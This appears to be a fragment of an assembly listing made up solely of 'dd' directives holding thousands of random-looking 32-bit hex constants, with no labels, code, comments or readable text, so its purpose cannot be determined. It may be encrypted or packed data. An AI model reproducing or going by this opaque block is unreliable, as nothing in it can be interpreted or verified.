		dd 0F200F1EAh, 0AEE5233h, 5A09D629h, 0D16E5D68h, 64B28093h
		dd 4B43326Dh, 1DC0199Ch, 90139C2Bh, 0DBCA05ADh,	2A07Eh
		dd 7C314B89h, 0CC33E909h, 0B6524E78h, 500CC0AAh, 0B151A4B0h
		dd 0F180F601h, 7E1C01Fh, 39041E6Ah, 4C80893h, 106CFh, 606663F6h
		dd 340CC117h, 43EAA92Ah, 0BDA8D5h, 8A0F0668h, 37DE5533h
		dd 885FC65Eh, 70A3FCAFh, 204A5F68h, 74E27037h, 87B7C0C5h
		dd 8B5581ACh, 46B3D866h, 97FE98E7h, 9AEAD3C8h, 0A3658317h
		dd 8BDC1FFAh, 1790C86Bh, 9B0F2FFFh, 0A6D10140h,	631AFD30h
		dd 625D6453h, 725FAA27h, 887134B1h, 0EC92FF20h,	0C5338031h
		dd 76D012B9h, 67E50977h, 0F601BE27h, 0EC7CBFEDh, 83240F4Fh
		dd 0E98E8566h, 0E185B84Dh, 0A7561E42h, 391CC79h, 0ED7D8020h
		dd 6BF5DDF1h, 5F75DA8Ch, 0D460F8C3h, 5006E280h,	695A9959h
		dd 310A7E8h, 0A7E2981h,	3FA8D623h, 0F3C74163h, 0F089741Fh
		dd 1885F40Ch, 159000B8h, 3B051D6Ch, 6675A267h, 0C6FAE605h
		dd 0DC557D4h, 5BC21F24h, 0FC92E6A0h, 0B9546051h, 0A76802C2h
		dd 536F7B61h, 5744011Fh, 0EA4CCBF8h, 60469F7Dh,	39265B7Ah
		dd 0A8C23607h, 0B534D5BEh, 1ECDEE34h, 0EC3113BAh, 0ED1C8549h
		dd 0D70E2BFDh, 2D008F73h, 29B619E5h, 551F0E2h, 9436207h
		dd 0C401583Ch, 6F7E31F7h, 5FDFBFh, 3755A105h, 0D46B0474h
		dd 41A4ABC9h, 1B21008Ah, 77C2813Ah, 0C54EE4DEh,	5E73D2ECh
		dd 0F4DBECCEh, 0CC11F2BAh, 2547BA55h, 0CED8F45Ah, 4A37E93Fh
		dd 0B42FF529h, 53001199h, 70BF65EBh, 0B58D8186h, 0BB001AF8h
		dd 2EF106A4h, 486396E9h, 0C0E61A01h, 2E275A3Ch,	4889B855h
		dd 0C8BB7F3Ch, 92F289D9h, 3CAB2816h, 0B42550C7h, 0B55EB0h
		dd 0CCFE05E4h, 5109C480h, 7E58E388h, 87782DDCh,	917A22A0h
		dd 0DAB880h, 355C2259h,	64573453h, 5D7F96C3h, 5142E012h
		dd 23F70768h, 565931D8h, 840920D1h, 0F76167BBh,	0CD87DD82h
		dd 129FF409h, 0B448460Dh, 0E8F78476h, 63FF14FBh, 55960E7Bh
		dd 0E0C1C7B9h, 1F403597h, 4B895374h, 0BBE930C6h, 0E10646A5h
		dd 5EF33118h, 156F0B7Ch, 0A15D6B75h, 6C4A9639h,	41614C20h
		dd 0ACE07E51h, 0F1B1342h, 1BD0B958h, 0B11F5E9Ah, 8A6E2597h
		dd 5D54137Dh, 43D61FF3h, 582E97Ah, 850FCA0Bh, 660960E0h
		dd 744C2D68h, 0C79A206Bh, 0C3D03057h, 413716F7h, 89880016h
		dd 0E9683C20h, 0D99DBC7Eh, 772A46B3h, 47A94FD2h, 5F4A4017h
		dd 0F1E20F77h, 1038553h, 7560037Dh, 61FAE539h, 0DA081242h
		dd 4526D176h, 0A09CDDA7h, 535ADC90h, 4A60B4E7h,	1E34100Fh
		dd 6675CBF8h, 0E348162Ch, 83253EBCh, 1E906F3h, 5709872Bh
		dd 57254C65h, 17BC63BEh, 68E186BFh, 209501FCh, 0D5837D3h
		dd 112D0230h, 0FA3E840Fh, 0FB60957Ah, 0D1AC1929h, 0B544DE20h
		dd 0F8F9AAB9h, 8BA210Eh, 91E6D74Eh, 8593543Fh, 22E58CBEh
		dd 30013925h, 5EE807Eh,	98B0F3Eh, 5D389142h, 0EBF194B0h
		dd 74CE2FE3h, 24F3D038h, 725582h, 8EF90145h, 522C2728h
		dd 1FF6A527h, 0E7AD8349h, 102B583Bh, 1F058910h,	3A8BC588h
		dd 221E665Bh, 68130FDDh, 5B3276E5h, 4D8F4051h, 67C20632h
		dd 0D4F3558h, 51E584BFh, 9FAB00EEh, 5F5BAB11h, 782B3B8h
		dd 673838DAh, 580942E5h, 1AFD7D68h, 74A70480h, 995BADACh
		dd 39EFF01Eh, 0C3FA2097h, 4ACA56E3h, 4A258A1Ch,	6A7CD081h
		dd 0E0A5EF04h, 0A84F44E8h, 963F2ADh, 5B3FBF3Bh,	2900F656h
		dd 37FFE9FEh, 804BB401h, 4768555Dh, 605A127Dh, 0BFF7FF28h
		dd 0C30B4F78h, 167AC83Dh, 1A85A00Fh, 727D272Fh,	7531A1F8h
		dd 0D3F7625Bh, 3C57F140h, 0BA735CB8h, 401A5812h, 1F9BCB1Ch
		dd 24DD6C1Bh, 256D04BFh, 60EADE89h, 646FC64Eh, 5710BC18h
		dd 305D2A6Ch, 700C2F3Bh, 124E6549h, 2C828A03h, 0F3FF00DCh
		dd 30693E6Eh, 892568B0h, 0C36859EEh, 33024E7Eh,	13B25BEFh
		dd 7900FD58h, 3A4CEA2Dh, 0CFE92C1Fh, 0B6BF2634h, 55277D74h
		dd 0F50229AFh, 0E6B50F1Ch, 6A982E3Fh, 66E906EFh, 0AA2553CDh
		dd 167B981Eh, 204F2526h, 0D08F00DDh, 3A0A8605h,	9D8568A7h
		dd 0AFF4F80Ch, 3615B787h, 0D39DCAAh, 62E8215Bh,	0C843DCCBh
		dd 0CE083026h, 93E87D0Dh, 274AA4E8h, 4A2205C9h,	510B42D3h
		dd 0B0DD4953h, 1394EF0Fh, 1A554367h, 80128B5h, 26AB98E9h
		dd 0D168096Fh, 0C92FD64Dh, 6947B100h, 0B0956F0Eh, 0F6398217h
		dd 0AD095E03h, 0D2B35004h, 6E0A0518h, 0BD7C1A6Ah, 75E8AEC1h
		dd 23077B89h, 28A733EBh, 926496EBh, 46622580h, 4FBDE6D9h
		dd 3BBA2D01h, 0E06E4739h, 0E0939D49h, 69211788h, 9D0366D5h
		dd 0CA66C7D4h, 646B970Dh, 3161CDCCh, 55CA2A74h,	0A3DE018h
		dd 631776B9h, 241F2096h, 0B531D17h, 2847C904h, 6900AF12h
		dd 6ABD7F91h, 0EBE59D4Eh, 5F457D97h, 3F81E6C1h,	516D2672h
		dd 0BD00AAD7h, 22307AB6h, 0FFF74B89h, 0C724C179h, 0AA291448h
		dd 0D100C762h, 0A9BD55EAh, 92907A70h, 0A9C07720h, 0E189BF31h
		dd 0B079CA35h, 1B0A688Ch, 634F5E99h, 0CBC2597Bh, 0AC4FA464h
		dd 3A356AF0h, 0BFACD7C9h, 0CBC11C83h, 805D595Dh, 2F49F651h
		dd 1F4B003h, 4B3E2A7Fh,	9CA2F5E9h, 7900F7C5h, 890F5EF4h
		dd 8E97548Fh, 0DE0348EFh, 5A0BD120h, 5C08C380h,	0A5130AA3h
		dd 0EE5A4CA1h, 0A03075F8h, 6BD0C43h, 901A4A2Eh,	82A5F429h
		dd 38C77897h, 0EF4B879Ch, 80535E61h, 0C2FF242Fh, 847F6746h
		dd 0F6D0736Dh, 9C786E68h, 281D60AEh, 0D104137Bh, 948E9E3h
		dd 0B25FECB8h, 0FE5BC0C3h, 5FE9E87Fh, 3157097Bh, 2764027Fh
		dd 1E98DD0Bh, 0EEA5B55Dh, 361C2637h, 0A4F25029h, 3F5A7360h
		dd 0A8135E39h, 0C884D296h, 0D7177A64h, 8DBC0149h, 0C8B850E0h
		dd 4C6C4Ch, 0DB317005h,	4B95120h, 292B4F63h, 4035C021h
		dd 0E3C2535h, 0C5257201h, 9B1FD58h, 4C312B5Ah, 0B63888E9h
		dd 93AA041Ch, 4E46B36Ah, 0E9124CE2h, 0ACCBB0E3h, 84EEBECh
		dd 4885C8ACh, 0D6CEABD0h, 9F05FC4Ch, 0C5215452h, 7BB200D3h
		dd 0AD5CE927h, 0A48528D6h, 7193F1ADh, 74E4E955h, 0EA3C8076h
		dd 0FCAF187Eh, 4BE5BF10h, 90581C26h, 2AB90EC2h,	317BC21Fh
		dd 0E96690CFh, 0AC955A71h, 5FE6DF2Ch, 5DCB6149h, 585FA33Eh
		dd 6075876Ch, 2DAF160Eh, 42DC118Ah, 11B9002Fh, 4B71E25Bh
		dd 0E99B3829h, 2CD615F8h, 95860ABAh, 662F38D5h,	68507054h
		dd 314F5F15h, 0C20AAE55h, 2084D377h, 56C295A1h,	0EF8B7EBh
		dd 0F087F27h, 25F3FB8Ch, 8006595Eh, 429BE6Dh, 582F8EF5h
		dd 8F58A914h, 3D4A463Fh, 0D960B22h, 57AF5148h, 0F76F901h
		dd 6D0C8739h, 2D90EDCFh, 48BE1F70h, 854F614Ch, 0B0570191h
		dd 7F4E4860h, 4BD54382h, 619BE01Fh, 352E0543h, 0C2E403E2h
		dd 0C159C14Eh, 21506881h, 25603697h, 1B93977Dh,	5DAADE0Eh
		dd 0E9943874h, 0D40995BBh, 8EF618C6h, 0BD93ED9Ah, 50D65C69h
		dd 0F5214226h, 0B082020h, 78406859h, 916374CAh,	0AA46BB82h
		dd 875BD81Fh, 62B87127h, 0D109EB08h, 335B1A04h,	52A49704h
		dd 0BE1124BAh, 26ED17CCh, 6749010Fh, 440C73B3h,	803845E9h
		dd 4D94C1B9h, 0CB5169AEh, 4114854h, 35AF62ACh, 0B59588E3h
		dd 5735A8ECh
		dd 0BDE64486h, 804A095Ah, 0C43F7253h, 5D91F802h, 25765045h
		dd 86C60DB9h, 0ADCBFC54h, 53D83117h, 789E3D20h,	814F017Bh
		dd 0E53F0EE7h, 80357161h, 0C7ECEF12h, 1601BE9Eh, 8486E9FBh
		dd 5409AB1Ah, 50349092h, 336CC038h, 54685B13h, 78DA1953h
		dd 0CF79AE0Bh, 0BAB8964h, 20F72A7Ah, 5F985725h,	0A79A48CFh
		dd 265FF10Bh, 25A70284h, 2FDF09D5h, 2FF388E6h, 0B869DA02h
		dd 5E80B148h, 0D22B5164h, 0B5C5EDDCh, 0F197CD44h, 37F14B59h
		dd 68F9F740h, 41726382h, 7416F169h, 86BD5854h, 4CB9CEE0h
		dd 0CB0135Ah, 0B46705BDh, 0E012E948h, 28045855h, 96C680DEh
		dd 500037CBh, 0CE2C27B0h, 0F4E52334h, 6A551FE9h, 70B9DB94h
		dd 268F6E4Dh, 6810984Eh, 7B367326h, 4FDA85C3h, 2BC98910h
		dd 6817D94Bh, 1DE1EB86h, 81CADB66h, 642939C6h, 42FDCE09h
		dd 5B0806AAh, 27E2991Eh, 80C31BFCh, 0A94C5E7Ah,	41603D9Fh
		dd 0D1F97042h, 79BEC0ACh, 744B3767h, 433C8280h,	4F5BB00Dh
		dd 81A4023Dh, 83EFFB7Dh, 0D3F75E01h, 973C9DE9h,	1701CA58h
		dd 311AF374h, 0E619F4EBh, 73BF73BAh, 8182E96h, 5C1DFD3Ch
		dd 33491D8Bh, 0EF34F93Ch, 0B40BD379h, 0FCE40126h, 873CC8FBh
		dd 890C5B5Ch, 2DC3C0C3h, 304C2CE6h, 0F5889A82h,	5CA73C76h
		dd 304F5C2Eh, 660552F6h, 0AE551368h, 83D2B223h,	0A352E4EBh
		dd 4A0288B5h, 99331F32h, 3E588A2Fh, 99C209C4h, 6AE0FDD3h
		dd 0F782E407h, 1E42CCE2h, 2E81C1ADh, 0ACE4B2E9h, 7AE9B0DDh
		dd 3CDBBD6Dh, 0D53A6009h, 0E913F6E6h, 1402E05h,	0CE2AA8C3h
		dd 5A589F37h, 0DB33D409h, 410A044Bh, 5B8D14h, 57D2BAFEh
		dd 81020E22h, 2D3105EAh, 800DF97h, 0D7513935h, 0D9462861h
		dd 0B470C236h, 405F01F8h, 0DFDE592Dh, 0EB906A83h, 33030EE3h
		dd 97841E14h, 9A1CB583h, 0FD27DE5Fh, 1440C132h,	2CE16851h
		dd 2BBF4BBFh, 41344ACEh, 0E66BCC0h, 1A2276B5h, 3FF6855h
		dd 22E2E241h, 2DE3D098h, 0EA30D268h, 0F3705A8Ah, 907D095h
		dd 0A34B66E9h, 9F87D68Eh, 15B0F895h, 8DB90751h,	0B217BF60h
		dd 67F57ACAh, 35768570h, 4710903Dh, 2A94A7E9h, 66E83002h
		dd 0ADBE5559h, 18F0962Dh, 9FE75340h, 0B3A02064h, 73BDD1B7h
		dd 5079A7D4h, 5453D309h, 1372A6A9h, 265ADE7h, 2A0A37EAh
		dd 0C235452h, 0BD2BFAC8h, 0C63D30ECh, 41D69B0Fh, 4811C197h
		dd 0E6016F9h, 54618225h, 0D378573Bh, 6027FAA5h,	0F43BFF5Ah
		dd 1F4FA0FBh, 70016EECh, 294E3459h, 0E8002FEAh,	1B5E712Eh
		dd 0E84207B8h, 612D32D5h, 0D4075D58h, 897667A3h, 8038E927h
		dd 2BDEBAA6h, 0C15E13D8h, 0FE9D09EAh, 0B2DF550Bh, 56A2C1FAh
		dd 0BC05D2F8h, 12864A96h, 563732C9h, 98D03655h,	8146BD47h
		dd 296002F0h, 8097B34Eh, 38C673E3h, 0DD3F76F3h,	956FB296h
		dd 4916FAAFh, 775E54D2h, 985D4CECh, 0DCB40211h,	0FE58E528h
		dd 0FB630CDFh, 7277B018h, 69404D4Ah, 0FE08C8EEh, 0DB78BF60h
		dd 0E908C650h, 26EC0630h, 0E71AF680h, 5BB7D6F8h, 13BEAC54h
		dd 5C03C7FEh, 0FAEAD03Ch, 79F160F2h, 3C5D8116h,	0CC4B17Ah
		dd 8928B27Eh, 5F326091h, 1041B547h, 0F484C36Bh,	64301CB8h
		dd 2E851C77h, 0C7BBCFA7h, 3D9CDE82h, 7E808AFFh,	0E38AFD05h
		dd 0BD7621BBh, 0E78192AEh, 0EBA489ACh, 60292998h, 0D6C95BBFh
		dd 4D50030Ch, 4A691EF4h, 0D1C4059Fh, 7E918EAFh,	0A0B19F5Bh
		dd 61595DA7h, 2611E5C3h, 742D1DBh, 75C37BBAh, 6781FE01h
		dd 1304E58Bh, 42D788C4h, 760AAA69h, 145DD245h, 0D7279F2Eh
		dd 0D834C568h, 12E54B42h, 407274F7h, 51F333DCh,	687F64C3h
		dd 3AE9E8BFh, 0C37BC046h, 0A95A29D5h, 21796CD5h, 2752511h
		dd 4903836Ch, 2E2ACF8Ah, 0A9FE3AE7h, 5F65A8F3h,	9EB5FF0h
		dd 5BE20768h, 0D12C0785h, 6DF83110h, 7E0858A2h,	0F1AEE61h
		dd 2EB4387h, 6869050Ch,	60F51F27h, 0BD5DE935h, 87F5BD09h
		dd 0D3D3359Eh, 0D0F460BCh, 3403427Dh, 474AE916h, 41145BCCh
		dd 89812F32h, 0C2EB512Eh, 0C694C811h, 7C751EB4h, 0DDE0CC28h
		dd 6905F1EBh, 894B02B7h, 6EC1EE17h, 0C3BBD756h,	76AA7C27h
		dd 0FC70073h, 8B7ECD1Ah, 22BD145Eh, 667789A2h, 0C41278Eh
		dd 3FFD9866h, 7157B262h, 73FF62A8h, 165E44FDh, 6FC2546h
		dd 4E4AAA27h, 2CB45012h, 8BC94EB1h, 0B6111A96h,	0D091270Bh
		dd 247BB5D4h, 22BE6801h, 97201043h, 6ABC4133h, 0FF07D4C3h
		dd 0A28D3FD5h, 136EA63Ah, 66D70158h, 7DB83575h,	7EDC009h
		dd 0AB6D9D04h, 3016A3E2h, 6620BFCCh, 5DFC059Fh,	0B7CD791Ch
		dd 5E639E6Fh, 0DA40B653h, 4A3DF168h, 6A7984Fh, 0B5C213C7h
		dd 0D24178B0h, 0E302331h, 29505E60h, 3706DCA4h,	0F1E93009h
		dd 0EEA9F7E6h, 0B7FB8700h, 0D70E2811h, 0A1F02C5Ah, 90D8E9F8h
		dd 2B24696h, 6AB050D4h,	3ECB4F61h, 8F801A25h, 7E470548h
		dd 0A10C5B6Bh, 0E11578F4h, 5802BB2Bh, 1659717Fh, 80E0C036h
		dd 2EF0AFC4h, 0FEE82F7h, 0F20E358Fh, 29CC0F97h,	0CC9D3B42h
		dd 34C0FE63h, 2BF955Ch,	1771C6C9h, 0D3F8C331h, 84375B3Ch
		dd 0A9A91601h, 7EF01FEh, 291FDF20h, 24BB017Fh, 7050C735h
		dd 1717F5A9h, 80BD4557h, 42D9B117h, 0B5B6876h, 100C6BECh
		dd 546C735Eh, 9C0126C2h, 50470A52h, 0F1D99FD6h,	29BD6F9h
		dd 0DF45F75Fh, 0C1766A2Dh, 0FE60D679h, 6B09D32h, 0E3014A6Eh
		dd 0E1E95746h, 0C7390135h, 1E3A6809h, 0B09DB3D1h, 0E974FB41h
		dd 0FF058AB8h, 64A8180h, 4E507CE8h, 0BABA1713h,	11F13A21h
		dd 7A35A63Bh, 9135392Fh, 0D76057A9h, 817B13EFh,	4C350848h
		dd 7904C689h, 6D6863E3h, 17215ECDh, 0E9FA4218h,	2052D167h
		dd 0CF8B8584h, 8478AFF2h, 1520BF03h, 0F3526E31h, 0C0A3E9FAh
		dd 5B9F312Bh, 0BF108F63h, 93D70647h, 66865CF4h,	19AA8D9h
		dd 3F419168h, 0CD7AF3AEh, 3B2CE535h, 4027B693h,	4041FD0Bh
		dd 0D80BB959h, 1070BD07h, 3057567Fh, 890C47F5h,	5D27ADDEh
		dd 986EE309h, 5C582972h, 0E04521Fh, 0FE97C847h,	49E91507h
		dd 0A48D0185h, 7E189633h, 502D0E13h, 25BD1024h,	13CC840Eh
		dd 1CD8CFEh, 7D833ADFh,	7851A73Bh, 0F1B72D1Dh, 2E8EE368h
		dd 2911C117h, 758A6D04h, 0FC5FE00h, 0B464258Ch,	0E4909675h
		dd 0E104B2Dh, 800F1EB6h, 0DB79DD0Bh, 40CE8B62h,	18D8E353h
		dd 6C74986Dh, 0EF28BE7Ch, 0E91284AFh, 9135E651h, 6EB73C02h
		dd 0EFB46197h, 4F8D282Bh, 0A876812h, 7806DEA3h,	0A00EE256h
		dd 5FC004FFh, 0C9CEFE58h, 0C822C0Ah, 0F2E642D0h, 5AF48805h
		dd 4E8589E9h, 0E4A11224h, 0F72E7F60h, 751FC233h, 0B975AD09h
		dd 3D7E6Bh, 7370B14Eh, 9FFD1001h, 1736BE40h, 941067Eh
		dd 0AAEE8A25h, 7957681Ch, 0BC3A552Dh, 9A7EECDDh, 0E8407BE7h
		dd 0BA58C103h, 426B964Fh, 9F505D3h, 7BFBEEE4h, 2D7EE98Bh
		dd 6EC0A653h, 0F8D3898Ch, 930B6EAEh, 0DB464D09h, 0B95A8730h
		dd 0F7975C9h, 860F21CBh, 3A5233E9h, 849DA659h, 26F35453h
		dd 6D84E54Ch, 0EA33A4F3h, 0BD598E40h, 17E69BE0h, 530A231Ah
		dd 904F592h, 0AA7E855Ah, 51B02509h, 0F08C3FC9h,	5E08AC8Eh
		dd 0E0BA2D05h, 0D2AEEBA2h, 6BC02BB0h, 0B8807137h, 0ED2628F6h
		dd 0DE2E5DD5h, 6CA811Eh, 0C4DDE0Bh, 0A226BD0Fh,	22F28E38h
		dd 55117021h, 5E13F8A0h, 92BE6C8Fh, 0F5ED8309h,	505A0216h
		dd 9A995BADh, 4E25929h,	0E10AC894h, 0EECDD594h,	138BE82Eh
		dd 0B6EDEA3Ch, 8A84FF27h
		dd 0E106BF21h, 7F10076Dh, 23E49552h, 2698BFB0h,	80013196h
		dd 0F9303AF7h, 7EC9E670h, 0B777EC03h, 956CCC98h, 0CB84B7DFh
		dd 39880131h, 6BD98333h, 48A37F4Ah, 169FE30Eh, 0DD37FF7Fh
		dd 15F3B187h, 0B902F142h, 47E6F928h, 1F26DECh, 3447DF5Ch
		dd 0A6C04973h, 0B685256h, 0E9322EAh, 0AB4FCD8h,	0C40CC196h
		dd 5F65E826h, 0F0C59846h, 0BD9C564Bh, 0E0D94EFh, 5404840h
		dd 797C1E21h, 0BFCE94BFh, 0E1082253h, 1EE90459h, 2D9BCBE6h
		dd 0BBE7BF3h, 832B232Ch, 70755512h, 4D113018h, 2EC3801Ah
		dd 6BC806CFh, 5FA1D053h, 139EB65Dh, 8EA13668h, 4E6FCA2Fh
		dd 0A44ED2BCh, 0A6057F1h, 76D70D58h, 0F7D0F6Ch,	165A8583h
		dd 125C2584h, 0D44B89EBh, 2D00ADF2h, 714142AAh,	3A698F05h
		dd 0C8805F5Eh, 0E92CBA30h, 219F9915h, 2718A2F8h, 0BEA81C4h
		dd 12101C5Dh, 0EBC06BC3h, 79081E6Dh, 250E54E9h,	2B09F40Bh
		dd 0EB1E6772h, 344E4DA3h, 41B8D401h, 0EAA82E08h, 0B81F96C4h
		dd 2247C49Ah, 0D0F5B2D2h, 5870E915h, 28C761D5h,	2AA98D0Fh
		dd 565C0Bh, 9D51310Dh, 0E3C09D0Ch, 0BE9AABF7h, 0A768AFBCh
		dd 66463EE2h, 286825EFh, 59978F71h, 4F528B9h, 864EB048h
		dd 0ED120C1Dh, 9804F312h, 95D16515h, 0AE141974h, 9D10E844h
		dd 7340BA00h, 12983368h, 978CC40Eh, 2BC5C0CCh, 4E6DAF55h
		dd 16F48401h, 8261E908h, 0A0013FC3h, 0C93EEED3h, 974A7168h
		dd 0E1317440h, 15C2A2C2h, 3BEFDE47h, 8E880F01h,	69D32948h
		dd 0BEF4D826h, 0D65102ACh, 66FE681Dh, 15824F51h, 555D0970h
		dd 0C60A4FD0h, 0AB352E9Bh, 0B6CBEE00h, 9F29D8B7h, 25EA06C0h
		dd 0E4074B95h, 77FA14D5h, 2E634B5h, 4BC1870Fh, 4A4BDA00h
		dd 4E6057D9h, 599A2A60h, 34CAC633h, 0AE104BDBh,	0A62C4B1Eh
		dd 0A3A4412Ch, 68037FC4h, 5916436Eh, 0BDEDDE9Eh, 8F530809h
		dd 0F8CF6B00h, 374C6E2Eh, 4F06133Fh, 4FA94356h,	5F621827h
		dd 0AF3C5B77h, 64B48FBh, 76CEECCh, 28729C35h, 0EBA1A573h
		dd 7BCF4990h, 46B3B4Ah,	24C4E701h, 0D8D13C63h, 0C830E94Fh
		dd 3DF62967h, 2B152C6Ch, 0D7489F16h, 0AF5DC5A4h, 6DBDCB12h
		dd 2032294Eh, 68125570h, 81A330B0h, 0C6431C06h,	9C446815h
		dd 27AF09CEh, 0B10E4B4Ch, 59689EABh, 40063993h,	97F58175h
		dd 0B842B50Dh, 2F3DC557h, 9920B2E4h, 97419F28h,	3E093851h
		dd 2F8A92C2h, 0C42C7FA4h, 0B2435090h, 94F27716h, 842E665Dh
		dd 0C1404697h, 534A72B4h, 1EC40CC1h, 0E37B56F6h, 1BD31201h
		dd 54E111F8h, 0FCDE8858h, 0C53178Eh, 0C92FD370h, 2B3B41F6h
		dd 0F60E7C1Fh, 0A421F55Dh, 46871C29h, 94E1558Bh, 6BEF61CDh
		dd 1FD9F301h, 0C5408F0Bh, 4C1C644Ch, 0A5047126h, 0D7066622h
		dd 3408EA79h, 5D14011Ch, 4C28A068h, 604AB1CEh, 0FEB1DEFCh
		dd 9E452F1Fh, 0E4A2A3EFh, 7C185758h, 2B2D126Ch,	21E741Eh
		dd 14B5DA9Dh, 8B806AEh,	0C6FAE75Bh, 5C8F5701h, 51A0EE80h
		dd 802AB735h, 0F41536FAh, 94C8214Eh, 2B551DCDh,	9E87BC0Eh
		dd 0F72CBFF6h, 0D0B1D4CBh, 0ADB68BDh, 48B5719Dh, 716827B4h
		dd 535F03E8h, 2DAA2725h, 6B142B50h, 94E000CDh, 0F8313314h
		dd 0AB4F2DE9h, 36C5DA18h, 8DEACEBAh, 0A0B3E417h, 0BB4854ECh
		dd 8810B716h, 5A256858h, 0D49C1814h, 73E30452h,	8015E10Dh
		dd 2AAE058Ch, 0F4DAC02h, 5662E88Ah, 548D42F0h, 0A38068F8h
		dd 7AC1333Ah, 0BF6E8CB9h, 78B3BE42h, 5272B41Ah,	35352CF2h
		dd 6BA9352h, 10EBBB2Ah,	2F9DCC95h, 0E1D35966h, 17DB0B08h
		dd 8F9004F7h, 0E660F3Bh, 0C9A872D3h, 0EA2E9077h, 20BC954h
		dd 4CB71F82h, 0EA8BC120h, 0A1084F7Bh, 6E1C6506h, 0E993EDE2h
		dd 0EA3610D8h, 0C6705B25h, 248EEE6h, 0B703CF4h,	0E01E7E5h
		dd 28E88DADh, 956E5D30h, 51FCDD46h, 1F307A4Fh, 376F2Ah
		dd 88CD817Dh, 0D128DE0Fh, 0EC9EED50h, 0AB734082h, 4AB213C2h
		dd 0BC6B8131h, 0B846818Ch, 53A531Ch, 601E7D30h,	0DBE3DB61h
		dd 3727A918h, 8ABA564Bh, 0AF92C264h, 4B500A61h,	8B247CB4h
		dd 0B88A5CDAh, 57895E35h, 0C647FF50h, 5870E98Eh, 91016C39h
		dd 0B6528078h, 8027B31Eh, 0E972EB09h, 0F7DFABF9h, 0BA87BC83h
		dd 0CF750B87h, 5DEF8C85h, 4741EDBAh, 6D54D489h,	620A7C45h
		dd 7A89C0F4h, 8E13511Ch, 0BF13EAECh, 0FAD0CDD8h, 0A9675F74h
		dd 0D7BA933Dh, 2F1B126Eh, 0C24679D7h, 8A49A8E4h, 0DE6F4DEh
		dd 65CA590Ah, 1A09894Eh, 56D59801h, 58C688E6h, 8FD6617h
		dd 526030A1h, 78142E99h, 111814Ah, 0DD0F1767h, 62A6AFEFh
		dd 0A256820Bh, 258190A0h, 0C7CD88DCh, 0D5B45E28h, 0ED920DF8h
		dd 4F684B09h, 20E4E638h, 0FE07369Ch, 0B9CB80C3h, 48E0E334h
		dd 582B4AF6h, 79A62CC6h, 975D5480h, 0E92A7F3Eh,	0EDBDA386h
		dd 192A8E32h, 57CEEA16h, 0BFC1E90Ah, 0AD9DEF22h, 56F0076h
		dd 4EEDCF2Fh, 0F13C970Fh, 8EB40037h, 1105EEFh, 800A5888h
		dd 3E0017BAh, 814A39FEh, 3541BEAh, 830F3BD1h, 7F1CA43Fh
		dd 4A385508h, 0E9652CAAh, 0A71E7825h, 0BA8205C5h, 1A8890FEh
		dd 1ED74863h, 174EE82Fh, 0B0429907h, 8869293Eh,	0E90B08E3h
		dd 5949E250h, 0C45EAD46h, 0E0B68649h, 0FAC71C63h, 7F5D5B6Bh
		dd 9A0D1203h, 0F001FC99h, 951F75E9h, 1C17CE48h,	36298224h
		dd 7AC74906h, 73C1000Ch, 0E956EC4Eh, 8192D80Ah,	0B55DEA24h
		dd 58977E49h, 444921E9h, 8F0F0928h, 8AFCAF52h, 0E2014F0Eh
		dd 4F797F8Eh, 60860D60h, 8CF28B02h, 0BE986903h,	0B8806EE6h
		dd 8618151Fh, 5ED3B0h, 1E8B25BCh, 2D005479h, 60AF5B07h
		dd 276EC335h, 48A0AFFh,	53013F82h, 0E51F23BBh, 0C305207Eh
		dd 41EB85C0h, 0C456CB25h, 0BFFFB70Ch, 34889A81h, 4FBF4F34h
		dd 0A4528C14h, 2E1A5605h, 0A5905CE9h, 0BEF0315Ah, 2114205h
		dd 0F63292D7h, 71D51897h, 3E1407E3h, 5F21923h, 162D77D0h
		dd 1343287h, 40C571AEh,	25F1C224h, 1B69C70Ch, 5756409Dh
		dd 2940A095h, 0CD4E7D19h, 2A0D25C8h, 0D9BA1812h, 1596CEAh
		dd 32A93757h, 4A8DAF7h,	4A15168Bh, 7F4BBB4Eh, 62250046h
		dd 9D2AC949h, 7CFD5940h, 0D9E53B9Fh, 0BEA63B95h, 86D1879Bh
		dd 0A4BD6155h, 0EDAE6041h, 3EC50340h, 0E1DF21D7h, 3E2DF4ACh
		dd 56B8737Dh, 0EC505F6h, 0AC4C27E9h, 0F858AAF7h, 3C303F72h
		dd 96870F8Bh, 0B02D7E60h, 66A33912h, 0ACB9C804h, 0C4843500h
		dd 4C9CABDEh, 0A7A1D9C5h, 183BA22Ah, 68B41901h,	8C515BABh
		dd 1BA03800h, 0DC97EAF1h, 0D6E7C2ACh, 58D5EED5h, 0DB174D30h
		dd 60E8DD90h, 0D6726F99h, 0DA9989Fh, 488AF6F2h,	5F188E50h
		dd 0F6058A08h, 0A256D914h, 0C7945Eh, 3C9C63A7h,	0E97F800Fh
		dd 0FCE1524h, 3A5807FEh, 1A898C83h, 0E054B710h,	68525F02h
		dd 0AFC66BB0h, 8B382590h, 36ACC12h, 4332E2CFh, 0B1F7B044h
		dd 0BA2A6949h, 0AFBB827Dh, 0B6A257D7h, 0E744C3D4h, 0FBDB8A18h
		dd 25BBE39Dh, 0D77E1F59h, 5ED42A12h, 40DB1C82h,	0EF5D756Ah
		dd 0EC2A04FDh, 9104E524h, 27EE5E6Bh, 0F0638273h, 30DEC048h
		dd 8539D9CDh, 4A310FFCh, 92C0ED01h, 0DE530C1Fh,	0FBCC52h
		dd 0FDC981F0h, 4B600772h, 3E28D692h, 9B3901Ch, 31F93969h
		dd 2DE4257h, 78E3E908h,	88535B88h, 5045BDAh, 4F5E5169h
		dd 75410AEh, 0E1E98562h, 9440556Ah, 0C0B22033h,	402E025h
		dd 0B0C325D8h, 9AE9A8DCh, 4E93BD22h, 0A9DC96C2h, 0B18CB200h
		dd 0D130E4h, 0B450665Ah
		dd 0D2ABE9BEh, 0D0E6B8A8h, 400A7E12h, 0C0C0CE0Eh, 0FFE920EBh
		dd 33E7BDE8h, 0E9049826h, 0A9E61B28h, 0C2C7502Fh, 96A42916h
		dd 284BBE40h, 0B0F54952h, 81E3D100h, 0DF702DF3h, 64E93C1Eh
		dd 0BA3CEBA5h, 75516A30h, 316E6BECh, 73C4968Ah,	20BE0812h
		dd 52D92917h, 4A685001h, 582F6937h, 9AB9B54h, 6D115169h
		dd 352D2B4Dh, 0AF6966D1h, 0E76B9C0Ah, 7EDC0CB3h, 0D305EB2Fh
		dd 1687937h, 8C3F70Ah, 71138809h, 82EE4A64h, 84E95452h
		dd 973AEC56h, 8FB39A13h, 0BC4F425Eh, 0EF01D556h, 0BD2B0132h
		dd 0ED619378h, 836CBEE9h, 89565C04h, 2F44F1D6h,	0C58160D5h
